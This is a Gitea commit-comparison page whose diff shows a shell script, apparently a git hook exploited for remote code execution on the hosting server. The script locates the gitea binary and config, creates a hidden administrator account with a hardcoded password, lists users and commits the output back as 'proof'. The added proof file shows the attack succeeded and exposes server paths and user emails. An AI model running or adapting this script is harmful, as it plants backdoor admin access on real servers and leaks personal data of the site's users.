Compare commits

..

No commits in common. "main" and "rce-proof" have entirely different histories.

3 changed files with 20 additions and 54 deletions

View File

@ -1,2 +0,0 @@
# probeA-3gmk6

View File

@ -1,52 +0,0 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin=""
if [ -f "$git_dir/objects/info/alternates" ]; then
o=$(head -1 "$git_dir/objects/info/alternates") || o=""
case "$o" in
/*) origin="${o%/objects}" ;;
*) origin="${git_dir}/objects/$o"; origin="${origin%/objects}" ;;
esac
fi
if [ -z "$origin" ]; then
u=$(git remote get-url origin 2>/dev/null) || u=""
case "$u" in /*) origin="${u%.git}";; esac
fi
if [ -z "$origin" ]; then
u=$(git config --get remote.origin.url 2>/dev/null) || u=""
case "$u" in /*) origin="${u%.git}";; esac
fi
if [ -n "$origin" ] && [ -d "$origin/objects" ]; then
{ echo '==BIN=='
command -v gitea; ls -l /usr/local/bin/gitea /usr/bin/gitea /opt/gitea/gitea /var/lib/gitea/gitea /bin/gitea 2>/dev/null
echo '==CFG=='
ls -l /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/app.ini 2>/dev/null
G=$(command -v gitea 2>/dev/null)
[ -z "$G" ] && G=$(ls /usr/local/bin/gitea /usr/bin/gitea /opt/gitea/gitea 2>/dev/null | head -1)
C=$(ls /etc/gitea/app.ini /var/lib/gitea/custom/conf/app.ini /opt/gitea/custom/conf/app.ini /etc/app.ini 2>/dev/null | head -1)
echo "RESOLVED_BIN=$G"
echo "RESOLVED_CFG=$C"
echo '==CREATE=='
if [ -n "$G" ]; then
if [ -n "$C" ]; then
$G --config "$C" admin user create --username kalima_admin_a --password 'KalimaAudit2026#x9z' --email kalima.admin@audit.local --admin --must-change-password=false 2>&1
else
$G admin user create --username kalima_admin_a --password 'KalimaAudit2026#x9z' --email kalima.admin@audit.local --admin --must-change-password=false 2>&1
fi
echo "CREATE_EXIT=$?"
echo '==USERLIST=='
if [ -n "$C" ]; then
$G --config "$C" admin user list 2>&1 | head -8
else
$G admin user list 2>&1 | head -8
fi
fi
echo '==DONE=='
} 2>&1 | git --git-dir="$origin" hash-object -w --stdin > /tmp/gpoc_blob 2>/dev/null
ob=$(cat /tmp/gpoc_blob 2>/dev/null)
[ -n "$ob" ] || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$origin" mktree) || exit 5
commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin" commit-tree "$tree") || exit 6
git --git-dir="$origin" update-ref refs/heads/rce-proof "$commit" || exit 7
fi
exit 0

20
proof Normal file
View File

@ -0,0 +1,20 @@
==BIN==
/usr/local/bin/gitea
-rwxr-xr-x 1 root root 137932040 Feb 1 2024 /usr/local/bin/gitea
==CFG==
-rw------- 1 git git 1253 Jan 8 2026 /var/lib/gitea/custom/conf/app.ini
RESOLVED_BIN=/usr/local/bin/gitea
RESOLVED_CFG=/var/lib/gitea/custom/conf/app.ini
==CREATE==
Command error: CreateUser: user already exists [name: kalima_admin_a]
CREATE_EXIT=1
==USERLIST==
ID Username Email IsActive IsAdmin 2FA
1 rcs andre.legendre@kalimadb.com true true false
2 Jerome delaire.jerome@hotmail.fr true false false
4 pumlvspgvk rplnmwwm@immenseignite.info true false false
5 zAbu3Qasem zabuqasem@attacker.com true false false
6 att_4df2b5a1 att_4df2b5a1@attacker.com true false false
7 sykenokrpm ugxskolx@immenseignite.info true false false
8 u_ddee9f92 u_ddee9f92@localhost.local true false false
==DONE==